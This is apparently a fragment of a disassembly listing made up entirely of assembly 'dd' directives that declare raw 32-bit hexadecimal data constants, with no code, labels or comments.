		dd 4F41644h, 0AB048C4Ch, 0CADCE307h, 6209A338h,	807FC807h
		dd 0D42A74BEh, 5C663709h, 3C471321h, 0AB827080h, 0F3F4BA16h
		dd 0C6FD1C08h, 1097F9BCh, 2FF9BA8h, 25C91BAAh, 1CCA98A7h
		dd 19809839h, 2A0820A0h, 74F04DE3h, 0DE692E25h,	0FB4AC4Ch
		dd 0D0121949h, 0FBEFDC84h, 9062B740h, 806B7CF8h, 87507CFDh
		dd 2491E030h, 0E56AA700h, 0B9FC7D5Eh, 0D4503070h, 0BC48755Bh
		dd 3DC48084h, 7C9DDBFFh, 3AB03C1Fh, 7C352Eh, 0F44CE34Fh
		dd 8E0195B2h, 9A0A69D1h, 2C338B62h, 0C51EAB1h, 6797000Ah
		dd 95DE9E4Eh, 474BB80Eh, 0F98FA841h, 4822E7DDh,	6DDA5909h
		dd 0C4556C30h, 8E7C4C08h, 43886470h, 0F0C38D87h, 9FDCF5D5h
		dd 0B1B9C810h, 42BDE301h, 39E990C7h, 48201AECh,	14052474h
		dd 41EAB0Dh, 0FD65EFACh, 94D700A0h, 54E24766h, 0E414019Ah
		dd 0DCB7FD8Fh, 9659BB8Eh, 2020DB49h, 2DD3AD24h,	28801D2Eh
		dd 5400FE2h, 5A887660h,	0B42415Bh, 52219832h, 3FDB7423h
		dd 344EF1AAh, 74E86514h, 7DB584FCh, 8C4000A2h, 649416h
		dd 0DB685204h, 69C00E97h, 1B59C566h, 58CF0094h,	856B4B43h
		dd 8124F09Dh, 7300EE4Fh, 46452671h, 95E300FAh, 934B2C4h
		dd 790E84DBh, 81BB2329h, 785D9FD0h, 0F27FB60h, 5CE0D4E4h
		dd 0B53E3100h, 14027D76h, 0F7D8CC9Ch, 0C3E58E59h, 0B8924CB2h
		dd 0D6EA38h, 3C7E34DCh,	5FF785BEh, 0A9840C00h, 256F4BFh
		dd 87040138h, 0D806D31Bh, 3C0C3C71h, 6E840BB0h,	112C9DADh
		dd 5D6F8079h, 0EECA58h,	0EB05C316h, 77E0CDF4h, 0F894914Ch
		dd 33078C73h, 0D1378FF4h, 7C7520A0h, 8879F753h,	0FE007B3Eh
		dd 33903CB3h, 581E2830h, 0AF40090Bh, 480C6641h,	0EFC640E8h
		dd 5BB19060h, 7D82DFC4h, 0B4A909E0h, 7481F633h,	43B580D0h
		dd 7CB86F92h, 40B4650Dh, 2479465Eh, 7D00E0B7h, 4F71D3C0h
		dd 6A80281Ah, 0A72403B4h, 12229FE3h, 0AEC65CC0h, 48845D04h
		dd 28D1C9F4h, 0DD107E62h, 0E30CE81Ah, 40737C09h, 0A45852F7h
		dd 45306EF2h, 40DA00BCh, 3361512Ah, 0B11273DDh,	0F802FDA6h
		dd 375A80E7h, 0CC749600h
		dd 8814E1B4h, 5D5FF947h, 907E1803h, 0C78180CDh,	83B82607h
		dd 0D21745Ch, 11878052h, 5E49563Bh, 11D27C2Dh, 7810C7B0h
		dd 0BD010907h, 69590EE1h, 0AECD41Ch, 9C1951E8h,	3600B823h
		dd 8E88A053h, 0DB144092h, 16C018ABh, 0E87B9504h, 69799603h
		dd 0F812108Ah, 34CB40F7h, 0ABC07988h, 2C7D5342h, 0F901D18h
		dd 69E425E5h, 0C008F985h, 0FB1541FAh, 67D304E3h, 9490E01Dh
		dd 9D90330h, 0A14C35E9h, 144F1773h, 683A28C5h, 13007623h
		dd 6680736Ch, 0A719C05Fh, 740A1ECFh, 9E109100h,	137AEB3Ch
		dd 928F0B81h, 2C10BDE4h, 400B41F1h, 0C61158F9h,	0AAA90000h
		dd 0E37C327Ah, 0E95DFACDh, 97DC81B8h, 0C608759h, 88385C7Ah
		dd 23F43A5Bh, 69560121h, 815A2C7Ah, 5D7328CEh, 0E02D9B5Eh
		dd 1A683662h, 0F044A08Bh, 0D361B100h, 0D8870EA4h, 923712D5h
		dd 607C887Ah, 5F980300h, 2F294D64h, 6CE80435h, 0B00BD33Ah
		dd 3901ACE0h, 652A924h,	0AC3136C9h, 3B0CEFD9h, 0A3AE223Dh
		dd 9011E9h, 7C226F87h, 60BC625Bh, 0F6FA998Bh, 2900402Eh
		dd 0DEC00F34h, 1ADA058h, 4A1D121Bh, 20ABAE20h, 0F0964777h
		dd 48753042h, 0BB67EBC4h, 7154A924h, 0EE29180Dh, 0C0D62EB5h
		dd 6C02BA54h, 6DEDD3D4h, 0EEE990C8h, 2CB00454h,	330309E8h
		dd 0E3E4C1B0h, 6DE82963h, 1895D188h, 594A012Dh,	0B7A8C951h
		dd 5B607D49h, 0F423EC80h, 338B00DDh, 87E1734Eh,	93485598h
		dd 10020124h, 807AF248h, 0C50B1C32h, 8E47FD5h, 343B7BF1h
		dd 0CB027923h, 5ADCD865h, 0F8AD00A4h, 4C6DBCB7h, 172F4B5Fh
		dd 37C010DEh, 670A0057h, 3C294415h, 81044A45h, 493F48DDh
		dd 0D604E4F8h, 0A868FE25h, 0C0470BEh, 8101B598h, 0D41FF0ADh
		dd 0D8E4A97Fh, 8651EAh,	0C8DB3F49h, 398B9560h, 0C1E4B84Ch
		dd 0FBDE0C0Fh, 0FCDD80DBh, 530D5C82h, 56A41819h, 62DAC0E1h
		dd 0FFD43409h, 1C2CB740h, 7A944015h, 51998D2h, 5DA3D8C1h
		dd 298F6066h, 8FA76B5Fh, 977CD0EAh, 3E7B73BEh, 2B0D558h
		dd 37E90AB7h, 426C71FEh, 730BFDBEh, 8D5378A8h, 23641F98h
		dd 38F4EF19h, 4F3800C0h, 90886C1h, 0FF0128D0h, 0D164AADDh
		dd 0D6D00EE9h, 4BD8AAC8h, 4048985Ch, 29F0B19Eh,	0D99886CCh
		dd 423F189Bh, 44CA4AE3h, 3234007Eh, 29756CEBh, 360451A3h
		dd 7E55C8BAh, 4E32CD1h,	8070226Fh, 952F80FBh, 80229128h
		dd 69F923D3h, 0B1BA095Ah, 507168F8h, 2FB76E01h,	1028B485h
		dd 0AC2235C3h, 0A07979DAh, 226DBD60h, 0AB630082h, 2526A1BBh
		dd 0D70BEFBCh, 45596E84h, 606EC42Ch, 265BDF9h, 22379178h
		dd 70565416h, 88B06D43h, 53EBD26h, 0F66797E0h, 0E820BC77h
		dd 4C0B8C90h, 95EC617h,	8EC59F1h, 0EF8C4745h, 7CA819CCh
		dd 372F0001h, 7089535Eh, 4A7DCF2Eh, 905A6312h, 42C788B0h
		dd 0C6661397h, 2E486491h, 258FAE4h, 0C383165Ch,	40792B82h
		dd 85107E1Ch, 72619F51h, 0C582FC44h, 995C6C30h,	19287190h
		dd 2DA6D0h, 8ECFEFE8h, 0FA898594h, 0C5D80B95h, 6179C460h
		dd 0E060319Ch, 0B6287DEDh, 18E77454h, 2248983Fh, 0EB097444h
		dd 0AAE80660h, 0FD76EC60h, 9903AD18h, 7C5E8779h, 0E57119E4h
		dd 0F40FC186h, 0E949CAEBh, 935810A4h, 0CFCE512h, 75D025F0h
		dd 0A6DCEA01h, 1E0B7FDh, 0E4EF6192h, 6D985468h,	3E77A3Dh
		dd 1DE8D6FFh, 4ECAD3BCh, 0B1748720h, 2AC2197Ch,	98DE4C0Ah
		dd 4B79508h, 88BDBC4Fh,	7D39B330h, 8E0B0012h, 50683186h
		dd 0F1133921h, 0F462B612h, 8B07FECh, 6123C420h,	480C4087h
		dd 4043A04h, 0B880FCD8h, 0C0C37008h, 98886268h,	0A29559C0h
		dd 0C1F1C19Ch, 9C207584h, 76FF0016h, 0F8879218h, 28C090FBh
		dd 24B90CF1h, 0F1D160DCh, 0CD11E4F9h, 0D51D5300h, 7867EABCh
		dd 491010Dh, 0D2811C23h, 9CA8A860h, 90B28F44h, 35E92064h
		dd 0B1802405h, 88FC54F1h, 68C76ECh, 0D9825D33h,	9D019996h
		dd 64AD318Dh, 21C48ACDh, 3BE6F0E1h, 0F7070FF1h,	62E0D655h
		dd 888922AFh, 0E5706CDBh, 9260F56h, 3125CA6Ah, 6CA3C6h
		dd 0F29625FFh, 753A13D2h, 98C613D4h, 67280884h,	9009E38Bh
		dd 0E407DC48h, 690C07Dh, 87FD30CEh, 0E116609Ch,	0C5DE8E0h
		dd 0A270482Ch, 4F7F7818h, 0A59F242Dh, 0B0E94450h, 51008DACh
		dd 32A5754Eh, 39281AC9h, 7B25B2E0h, 2F9CACC0h, 9E79D8B9h
		dd 35007518h, 0B04BF8DFh, 18F14AA0h, 0F16131E5h, 6C99D25Eh
		dd 2090C284h, 8D8F2D04h, 0E42B3AF4h, 0B3007323h, 0B78AEE8Bh
		dd 4F3409F3h, 54549113h, 84F6AF40h, 44F093h, 2CBB7A6Bh
		dd 46DC7E77h, 68C4B626h, 12A02340h, 48140309h, 0CAC9DF15h
		dd 117B2DD8h, 8A84E700h, 105E0A0Dh, 0D4F45448h,	6F5CA747h
		dd 84978ED1h, 38C1033Ch, 69008A44h, 3F2DEC32h, 8FC1D76h
		dd 67605278h, 6FE3A7BFh, 248ED90Ah, 0FCEBDC84h,	8C7FB8A8h
		dd 37BB2712h, 40A4FB17h, 0B71400F0h, 0EF2363BDh, 0BE00D5F1h
		dd 1EA926Ch, 22E0B4ADh,	0CB0086BCh, 3097E1DDh, 1A99463h
		dd 9872E53Ah, 0C078338Fh, 825ECB6Ah, 0C1B8D882h, 3910FC1Ch
		dd 2025C0FEh, 4728C010h, 681C21Dh, 6466B748h, 7CDC9E4Dh
		dd 8C92E276h, 8537B339h, 2E197422h, 1A206F86h, 38766D30h
		dd 11F6E466h, 0DFC93300h, 57A15A3Ah, 0F15D00E9h, 3B355B38h
		dd 184F31FDh, 225ACC0h,	89876F63h, 9CFFF802h, 98F6D710h
		dd 0E0CE0BA8h, 0F4918ADFh, 86000B4Fh, 2AEB03F4h, 45017262h
		dd 57DD2EBFh, 3708B520h, 265CC744h, 8E14299Bh, 50698846h
		dd 7F913C1Fh, 0D8ACA180h, 110FFACDh, 0CC90326Fh, 0EA76B09Dh
		dd 0DCC5442Ah, 8C430F12h, 7E0A4C42h, 0E14CC308h, 426B917Fh
		dd 5CC4E520h, 0D1EFECE5h, 0B6B37587h, 7F276863h, 733C6C86h
		dd 0AA3E00D8h, 9EF701A7h, 8D015BD3h, 0D505FE46h, 0B2B367Fh
		dd 0A8027834h, 0E3021E19h, 1D5C7A32h, 9D817E25h, 1C48B8EAh
		dd 0A7E9C030h, 0FB039E62h, 0DFB808C8h, 0B2990119h, 7E27DE3Ah
		dd 1B44D03Bh, 9D09860Bh, 68298A3Dh, 5001A02Bh, 410637D6h
		dd 4AB0483Ch, 0CB00DBB8h, 407782E3h, 0B1363Ch, 0C7254D80h
		dd 0F4277BD7h, 43E2C200h, 3416D3D4h, 0BC9D9F69h, 0F4807891h
		dd 0B6817CAAh, 32E04E90h, 7D2E4818h, 184FB2F0h,	6003C41Ah
		dd 0C04D07FAh, 405D2538h, 0B2B28148h, 856610DCh, 0C6C3E47h
		dd 18748A69h, 3B510B0Ch, 589439CEh, 0FA800AE8h,	0ADC12D97h
		dd 680C2CCAh, 89426D18h, 9692B810h, 482744B3h, 0E465CC89h
		dd 5809B84Ah, 5AFC346Ah, 71EC6B59h, 924DFD25h, 79A07980h
		dd 4DA1878h, 2EE3A6FAh,	34BD4A0Ch, 3C4A1900h, 0D7B1C4h
		dd 5B27CFD1h, 0CEF5DD64h, 1C7F7700h, 794D582Fh,	20EA4AD4h
		dd 0A140F00h, 0DEEC7841h, 5251C917h, 9FE47465h,	0E32F1761h
		dd 330262E0h, 81F7980Ch, 30B8F98Dh, 0B26170DCh,	0FA39E55Dh
		dd 1880A47Fh, 1B890485h, 0E2EB08Ch, 0A739E119h,	737F420h
		dd 1A1FD380h, 5C844A9Eh, 1890BF66h, 0DD7ECAh, 1BEE5E1Fh
		dd 9D9A1A03h, 0F9704600h, 1D1082FFh, 2770067h, 0E8656DE3h
		dd 0CE00A772h, 70B938AAh, 77936D0h, 0D16EC05Fh,	1818CF26h
		dd 0C8055110h, 864B7868h, 6B0206Dh, 67A51D41h, 52B8E274h
		dd 3DEADD60h, 3AC2E42Ah, 0FCC61Ch, 0E76C37C1h, 0DF17232h
		dd 0A4B47B02h, 94E271FEh, 804A6120h, 46F035Bh, 0E251420h
		dd 14883735h, 0FF10C006h, 0E6009C28h, 24B127BEh, 5C7FC2h
		dd 0E11EA936h, 0DCE25022h
		dd 81834ABh, 0D4C063A2h, 0C880AD86h, 0E8F47CA0h, 0C500CE79h
		dd 0D3E19615h, 4B361DB6h, 0C4DCE20Fh, 0ED00617Eh, 868DF2E1h
		dd 0C603BC00h, 0C6F6E81h, 0F0774CA2h, 53A98303h, 0ED9BE602h
		dd 0C5DF2911h, 11A79F11h, 0D028C217h, 14FB5028h, 0BBA54468h
		dd 14C11084h, 0AEB71191h, 21A3E511h, 0B639040Fh, 0AD130492h
		dd 44F10644h, 2844C353h, 51AF4CB8h, 754C5C79h, 2D118F07h
		dd 63B47137h, 0BCD40F5h, 43726F09h, 8FD6713Ah, 0A0E711C8h
		dd 2A94E9Ah, 2280002Ch,	4F726442h, 0C30092EBh, 5C0A6B33h
		dd 0B7E4CAh, 6026227Dh,	27178EBAh, 821AEB3Ch, 83849B6Bh
		dd 0AFDDC065h, 0A9100F0h, 50B669D8h, 0C100611Dh, 0DC4AAB72h
		dd 2329FDh, 670C1A32h, 5B5EB1DFh, 0D1F0AC00h, 5436924Ah
		dd 0EF72007Bh, 17761EC2h, 4D00875Ah, 0B4836258h, 0F19A8B5h
		dd 4C6F5710h, 0C05A1587h, 65B156C7h, 0F8C3C000h, 7631093Ah
		dd 117000A6h, 86A51CD2h, 0F7009B3Ch, 0B63B4D1Bh, 34C6C7h
		dd 27B7C5E2h, 8819D76Ah, 6A545230h, 3E99CE6h, 7BDBF1C2h
		dd 11F26DB6h, 6EB0805Dh, 0F2839B8Bh, 48FB000Ah,	2F77AFADh
		dd 0E00A30Dh, 56243DE0h, 9783659h, 7B0B8CC6h, 64C3D281h
		dd 0AAE0DC62h, 0C0188B14h, 0A8660090h, 4FEFFE86h, 0BED0090h
		dd 4AAF52D0h, 0C700079Ah, 0EE789CCAh, 2060ABh, 2B83B8A8h
		dd 0CC7529B6h, 8E0A34Ah, 218600CFh, 78D994D6h, 9501A1C2h
		dd 1C41A8BEh, 0CAD48460h, 0BF6A3FACh, 0AE291D07h, 38B7700Bh
		dd 8600C6E2h, 90DF164Dh, 604363F6h, 3D547884h, 3C1F12ABh
		dd 1ED3CCB7h, 0E23093ECh, 0F0D74930h, 6C92B12Ch, 778BC680h
		dd 0AA7B9Ch, 0BEF6B41Ah, 0D979767Ch, 8E42D201h,	0F5387DCEh
		dd 5C7BD1F0h, 3600A98Bh, 0EF772120h, 4C007EE0h,	15C74BA4h
		dd 79EE9C54h, 0EA017BC1h, 0EACA007Dh, 2C1FD283h, 18C04B79h
		dd 0A9E4ADE5h, 0C1FD00B9h, 0BA0C1535h, 0E100063Eh, 0CFB088F9h
		dd 13DCDFh, 16C604B4h, 0B13E7768h, 67647300h, 0FD127A4Fh
		dd 1E360763h, 2FF6A9D7h, 0FB72A840h, 0DC008BEAh, 67632A93h
		dd 1EA356DAh, 41F4B2h, 49F1BC39h, 0D8288AAEh, 0F617B02Ch
		dd 0C000B350h, 4A473C02h, 9D250077h, 0F33AEE8Bh, 502EDC13h
		dd 220FBA99h, 272B008Ah, 0A684ACh, 0DCD9031Dh, 0DE73F074h
		dd 6052E800h, 7A9F49F2h, 7E9C009Eh, 6D91FB4Ah, 0FF1D2138h
		dd 4F00F859h, 78EBEB3h,	39D2FE8Ah, 81006180h, 0DF9CDC42h
		dd 950F74CEh, 0E21EF52Eh, 0D0BD0D26h, 96F00034h, 7D63FEFDh
		dd 41E0BB49h, 4F69D700h, 0D34DABE3h, 753B035Fh,	7AF4DC45h
		dd 0BA072ED0h, 47A65E03h, 0E8B6368Ch, 384F33CEh, 4CF6D7FFh
		dd 78001450h, 4122311Fh, 0BE0067DDh, 92BBFAFCh,	8015DBh
		dd 3D450C19h, 0E3B11BA4h, 2BABEC04h, 209C8BCAh,	24A33C5Fh
		dd 5175BA81h, 20146EDAh, 293A4ED0h, 0E171800Dh,	1363923Ch
		dd 73F63856h, 0E113D00h, 7D9B3FCDh, 8E50723Eh, 0F95DB3h
		dd 651B857Ah, 0A920052h, 0E43F6FB9h, 0F724D819h, 5B0B70BFh
		dd 5DA4A04Eh, 3E4A3C76h, 0B705C9D4h, 4FBCF767h,	0EFC0EA64h
		dd 8E6F7A6Bh, 0F5CCC707h, 0A3E071FDh, 3A9258Bh,	2DD077ABh
		dd 7AA8C030h, 0E400C3E9h, 4253CB9Fh, 0FFC6B4h, 861C4E6Bh
		dd 1AEAF497h, 52364A02h, 43B08C40h, 0C0FDCB28h,	39ED5796h
		dd 2A0FD431h, 6B20339Ch, 0DDA9D279h, 0A3219400h, 17E3348Ah
		dd 4806F0A0h, 1B003480h, 0F787F9DEh, 0EF543C08h, 0FA018FE0h
		dd 0A58E9D4Ch, 3BC622h,	0F0AF15Ch, 4A013D2Ch, 2E80CAB1h
		dd 7AF0EF4Ch, 5B3A0097h, 619070B8h, 0C70148AAh,	0C1833C1Bh
		dd 17F803E0h, 50CB2CD9h, 69A8034h, 59B7560h, 2EE93D0Fh
		dd 0DF88E13Ch, 0A0F4C61Ah, 78A40E39h, 0AF6079D6h, 33F16A05h
		dd 45B0CB07h, 87F0408Dh, 6059FBC4h, 949AB94Ch, 0F900AA79h
		dd 0A124054Ah, 0A8EB43h, 0C3E6FD0h, 226A51BEh, 5C03067Eh
		dd 52660227h, 217C0739h, 0F1EC3765h, 0C028AE04h, 0B3013BB8h
		dd 0E74E589Bh, 0AAE0733Eh, 0B9DF01CBh, 5E3A7DB1h, 57A4E4EDh
		dd 0B3F99A1Dh, 425228C0h, 75F50746h, 0AA830075h, 3FB8505Eh
		dd 144C3627h, 0EE0F80BCh, 0CC6E5Ch, 0FD6871CFh,	770723F0h
		dd 0A4756F00h, 55D415D9h, 85F22A95h, 0ED3101C0h, 8A797159h
		dd 6FF3F072h, 80321338h, 4A73819Dh, 38D02EF8h, 0BB870B9Eh
		dd 0D03DFC5Bh, 0D718C321h, 0D8B1103h, 0F052AA73h, 40351746h
		dd 0DC78A998h, 0EA89CB00h, 0B057438Dh, 8653120Ah, 0CD6000FAh
		dd 0CE659597h, 8029843Eh, 62A6E030h, 48EB767Bh,	0CF0244B2h
		dd 0E4C0B043h, 875EFC60h, 28805Ch, 0CC8A2A0h, 2C0EB4ADh
		dd 3F4930h, 5B662DF0h, 311EAB1Eh, 84034050h, 0E8C0862Ah
		dd 0A2D201h, 99D6D7BBh,	6678F5C7h, 4D7B4F00h, 0DB20FB38h
		dd 115800B2h, 0B3C76CB0h, 1909783Fh, 0DEA263h, 3B01FCA9h
		dd 1DB500BFh, 46880934h, 409F306Ah, 0DA6DA1h, 7BF9C39Dh
		dd 8D118EA9h, 0ED710B00h, 5B73D862h, 5A215816h,	941F0075h
		dd 0E9A0B5F8h, 0D50B3401h, 0E1A05CBh, 0CD9D01A8h, 0EF4A4BEh
		dd 26910056h, 0C7B7D481h, 7A7E6C94h, 614CFCE7h,	9563800h
		dd 70C89001h, 0A323009Eh, 75807B98h, 0E97F6C5Ah, 7EEBEE14h
		dd 0B7A000A0h, 0C53D764Ch, 4BD3BE3h, 689EE081h,	0D4ADAC90h
		dd 0CA0778ECh, 4AC45F16h, 0BBE532C1h, 1FBC3CE4h, 0D5790Dh
		dd 18AD1F74h, 0CF7DA5C8h, 33D70C00h, 0E2C2ABAEh, 0CE8201D3h
		dd 0A1470D9Ah, 5AB8CB07h, 2AFEB5D4h, 804DB30Fh,	506E4152h
		dd 0E8DF0DA2h, 0B8C49091h, 0A3290037h, 38751594h, 0C00EEC2h
		dd 9B91BF3Eh, 652232h, 2EFEDF5Fh, 9D93F65Dh, 4DB28D00h
		dd 0B4743592h, 305916FAh, 0FA06FFAEh, 7217362h,	0F7630544h
		dd 508120B9h, 0D500B810h, 0D8D2286h, 0E83A82C4h, 58802D8Fh
		dd 0EC36000h, 0E700C7D3h, 388DE0D4h, 0E806E1h, 9971C194h
		dd 0D132A328h, 0E534A200h, 36A0FBA4h, 92420049h, 29EBCEF5h
		dd 89007E9Dh, 0BD5A1EB7h, 39FC463Bh, 709859h, 8206A997h
		dd 0CF04F688h, 0BC0AEC00h, 0D73F60CAh, 2B5D031Dh, 0C9CD74BAh
		dd 0B842BBC0h, 4FD6BAC0h, 3B3FA1CBh, 0A880477Bh, 22A0D18Fh
		dd 0D011368h, 9CD77802h, 80F82DA5h, 60930038h, 4EDEFDB6h
		dd 2303C32Ah, 62B18F99h, 0F0A4D878h, 7B07A02h, 0FE2EA779h
		dd 0F41A50BDh, 52F0F63Dh, 0A6454D01h, 0D7E6873h, 2CD8C6CDh
		dd 0FAF900BCh, 40CA2D38h, 63008548h, 3F47D854h,	39AEE6Bh
		dd 65A429B3h, 0EF8F840Ch, 0D1512163h, 388F8F5h,	6D9CAEA5h
		dd 0B18CCB40h, 0D43422B4h, 66A30761h, 0D07B4CFFh, 0FAE4CEB5h
		dd 0F289F07h, 873294C0h, 730580Bh, 0C6E167B8h, 9A61E272h
		dd 3AE53C60h, 1C80183Bh, 0EF40AF70h, 0CD638C85h, 0AEF84Dh
		dd 0FCC3E4C9h, 361D3D2Bh, 1A3D3AB8h, 0B50980A1h, 0C82FB1F9h
		dd 61B6004Fh, 0F8071C8Fh, 6F782759h, 0E7D2D600h, 129A5A17h
		dd 865E0765h, 0D5752995h, 613CB00Ah, 8802214Ah,	6083E5A3h
		dd 737B064h, 0DB12F3C3h, 184180C7h, 0E600DD0Dh,	6B63794Ch
		dd 1D55CF6Ah, 0C048C98Bh, 4AD0D51Bh, 30C0686Ch,	0EC086201h
		dd 67BA0097h, 6DB5D707h, 0E0958C92h, 3B805044h,	5C897E9Bh
		dd 0B080F9F8h, 3EDFF17Ch, 0C5171800h, 3964D46Ch, 5E90009Ah
		dd 0F49D9427h, 58004D65h, 0C19319BCh, 317B9BD9h, 9C40F818h
		dd 48A32091h, 20BBE000h, 342DD483h, 0F423E8AFh,	0DF261ECEh
		dd 52EC690h, 43006019h
		dd 9304B930h, 0E603F6h,	0E31E8CE0h, 7CAC020h, 10C4CFEEh
		dd 0FC806CBCh, 5B1ACABh, 6543C5A2h, 81ACC08Dh, 120F2645h
		dd 6F4E1D7Dh, 9713C0DDh, 92E09BCh, 75814DDFh, 38956880h
		dd 0FF0059C7h, 0ABC6F182h, 3688E4h, 9B6ABEF5h, 0A4312FC2h
		dd 0DE72FEF6h, 0AB131400h, 0CD4D3FA8h, 0C64503CAh, 0F7ACCE9Ch
		dd 7BB00EC8h, 7015E80Eh, 38FD0087h, 73F410CFh, 4A59741Eh
		dd 506CC061h, 0DE036AB3h, 0A0A89CC0h, 0C937E85Dh, 8C081C35h
		dd 0C3FE402Ch, 0D87D2A55h, 70085E4h, 59BDDA67h,	79BADA8h
		dd 92EE3FBEh, 38B7C0C4h, 5C000644h, 110458CAh, 0DD4124h
		dd 0B38BF895h, 0E3A1BCF1h, 92263101h, 2E6473D2h, 0B85E7A70h
		dd 0B6D30086h, 0E8E5171Eh, 8B008DBFh, 9F2073DFh, 755844Bh
		dd 0E4BB68C4h, 0E8BF3012h, 0C6006D9Bh, 9E7B7163h, 0A01B5276h
		dd 28DEE4BCh, 0E081CFA7h, 3FEE63Dh, 485F3F8Dh, 4F8AD5B4h
		dd 8CFAB858h, 3ED61000h, 69E6F598h, 0C1E82C2Ch,	75C70528h
		dd 4B8F8099h, 523EB1D4h, 7FE400C2h, 0BD6C01A9h,	49690094h
		dd 4333A77Ah, 9F00EB1Bh, 0B0423A84h, 0A2A14Bh, 2A9B59F5h
		dd 65DE25C7h, 0AC990B00h, 30D6CA9Ch, 6C881211h,	7CAB008Ch
		dd 0DD82FEAAh, 9CD43200h, 4C3079DCh, 781B0028h,	37E1FDEFh
		dd 58903F4Eh, 0C1190A07h, 7A50A303h, 0FB731D4h,	231863BAh
		dd 80259060h, 0D81EE3D3h, 778040E8h, 5C56DE3Ah,	0B48348ECh
		dd 3BD4FF24h, 7710312h,	0B0ED4466h, 7A518674h, 87B4A816h
		dd 50BE4F00h, 0B979901h, 0DDDC2C4h, 478CE400h, 0F203B9CEh
		dd 0C6AAB02Fh, 0FBDBA8A9h, 455C0059h, 0FA728B6Ch, 0D900D31Ch
		dd 8CAC38C2h, 2E131A4Eh, 809CD216h, 0B9A112A6h,	0B8092D6Dh
		dd 0E821D338h, 16241A8Ch, 4CA634h, 0A4AE9BEh, 0D4009AB5h
		dd 0CE4F4B72h, 0A03B35ECh, 3C215FCh, 73097A77h,	39D03A66h
		dd 589868D8h, 63F11600h, 0CCE0909Dh, 4EBAB04Eh,	0EA8A4h
		dd 6B27C4D7h, 0A5296Dh,	17AE2434h, 493288CCh, 0E60371E2h
		dd 62FE799Dh, 73A2D8C6h, 75410747h, 20D8633Fh, 52C73003h
		dd 0B426EE00h, 0F8B3CAFEh, 2B7F0056h, 8484C0Dh,	9A00D87Eh
		dd 8B2334CBh, 0C7F0AAh,	61E04696h, 12AB9B66h, 9CCE763Bh
		dd 0A82CE436h, 57D08F00h, 93EC4Ch, 655917FEh, 3021028Bh
		dd 800BA53Dh, 7D07B989h, 24665B1Eh, 68FB0Fh, 57F26AF8h
		dd 51002FE9h, 3F59C6B3h, 124002C1h, 346414h, 15722A93h
		dd 50388580h, 0A86389EEh, 0A6C42061h, 23AF647h,	25AF0FCCh
		dd 0E8400C4Ch, 0C900EC60h, 679D2624h, 1AC24Dh, 0AF1462A2h
		dd 0A9B50663h, 0CF00F47Ch, 5D79B666h, 8D4B8h, 0A7765BE1h
		dd 2EB0C504h, 68128000h, 6DBDCD2Dh, 0C6D60743h,	59B12544h
		dd 304B864h, 9B1AE2EDh,	470044ACh, 1D108E0Dh, 0CA00AD5Eh
		dd 0CD6A7134h, 7CA6B623h, 967D1E8Bh, 0A94B40B2h, 60BA9E02h
		dd 0FE0052B0h, 83ADD777h, 1649E3A7h, 94E20Eh, 0C4AAF783h
		dd 500EC9Bh, 12A76DDFh,	0B4DE10h, 925E043h, 0F73EFD7Ch
		dd 31BFE900h, 38D4813Dh, 465E1D5Dh, 2829419Bh, 304F5884h
		dd 3920B7BCh, 0DC860035h, 62CBE74Dh, 4B25ED4Ch,	0A87860AAh
		dd 7F5289Bh, 634102E8h,	31AF093Bh, 54104340h, 28A0B00h
		dd 0B023DCFDh, 86C009D5h, 0B4A2B39Fh, 30E38D44h, 0F6E6EBD0h
		dd 9C1AC40Ah, 301DD038h, 0A0203952h, 9D20D87h, 125932A8h
		dd 0A4648400h, 7D1FA182h, 6F0E2B67h, 0ACD180BCh, 2CF5C149h
		dd 0D01DFCh, 4F594C69h,	4802432Dh, 6062E6D9h, 29060DAh
		dd 88BF599Ah, 0ABE9EC00h, 7AD4384Ah, 0F4905C00h, 9371A4ACh
		dd 0BA502E95h, 0CFAB00E2h, 0F645C7DEh, 48A36400h, 9272E79h
		dd 0F5F406h, 2259BCCEh,	0E9B6788h, 0D496D2F4h, 0BD037500h
		dd 0A67C46h, 0C286DC38h, 53855AFCh, 4D0F9E00h, 30F18DFFh
		dd 0D5810324h, 642D65B3h, 0EC16F998h, 0C801C5E4h, 6CDF768h
		dd 0C06A708Ch, 4BE9EBD0h, 0AC6F8F00h, 11DB3179h, 0FAD0001Eh
		dd 51414999h, 0D92E0A5Bh, 170F49ECh, 814E6368h,	120DD1BBh
		dd 15D2B8F7h, 0B6E402B1h, 0E16424B7h, 71607C60h, 288B082Ch
		dd 6AE2A202h, 5E7468CAh, 7D211F44h, 727EC341h, 18CE4AC2h
		dd 0D4022F4Fh, 40F8AF13h, 644C93h, 9A27E58Ah, 5C5A38C0h
		dd 9706A301h, 0A9F9D5D6h, 706E3080h, 8C86E2CCh,	0FEB6690Fh
		dd 3A8AC0DFh, 3AFADh, 5DE4E997h, 0D4520E62h, 98274705h
		dd 88A04D7Eh, 146F0B10h, 900EBF5Ch, 5B3AEBE0h, 0D84A03ECh
		dd 0C500D2F8h, 0EFDAD963h, 0CD0014FCh, 8DCF0C0Dh, 4591B7h
		dd 62CC5873h, 791E9A53h, 6E6F7D0Ah, 6B0087E2h, 573A638Bh
		dd 8AE60108h, 3355BAC4h, 0F728801Fh, 0A7D3A2F6h, 0FF8E0078h
		dd 727F8C22h, 3C00BAAFh, 0F31136D7h, 0EA4EE28h,	50D0F419h
		dd 4C5514A3h, 74002F93h, 2375FE59h, 26DA6DDh, 0A5A10921h
		dd 4563E01h, 0FEE0D880h, 70BC13h, 780FB172h, 0A3573D5Dh
		dd 8D00DCE2h, 21890B58h, 7387EFh, 0ED1D4F8h, 9B3FCEA8h
		dd 503A1000h, 1D2EABEBh, 987513B2h, 8168A0DEh, 0A579E90Ch
		dd 0F0D11121h, 2767F8C7h, 7C48D544h, 0C9010F47h, 5170BE95h
		dd 0B4D1767Ch, 24FFD8h,	0B94F192Dh, 0D10EC6E9h,	600230C0h
		dd 0CBEACCh, 5FC7840Ah,	0DFF44C80h, 0AAA48300h,	0AC1D0659h
		dd 790C045Eh, 0BA117D36h, 0C6B5C841h, 0D1F07718h, 0E3FE576h
		dd 0B020DE0Ch, 8EF3FE02h, 42809006h, 5C04F23h, 44648560h
		dd 0C45848D6h, 0C78A610h, 964D7131h, 7300BCA0h,	7C6E81CBh
		dd 252D5A02h, 245820D0h, 0A5884102h, 60ED6604h,	0D1211Ch
		dd 4DD55A0Bh, 4C9B2616h, 234B0D00h, 8C793DA2h, 0D6F000F2h
		dd 7E3F5029h, 5338AD7Ch, 0CB4C52h, 570595F8h, 8202C2h
		dd 39BB7441h, 7DC4D9B6h, 5DC0C79Dh, 80A6960h, 92924EBAh
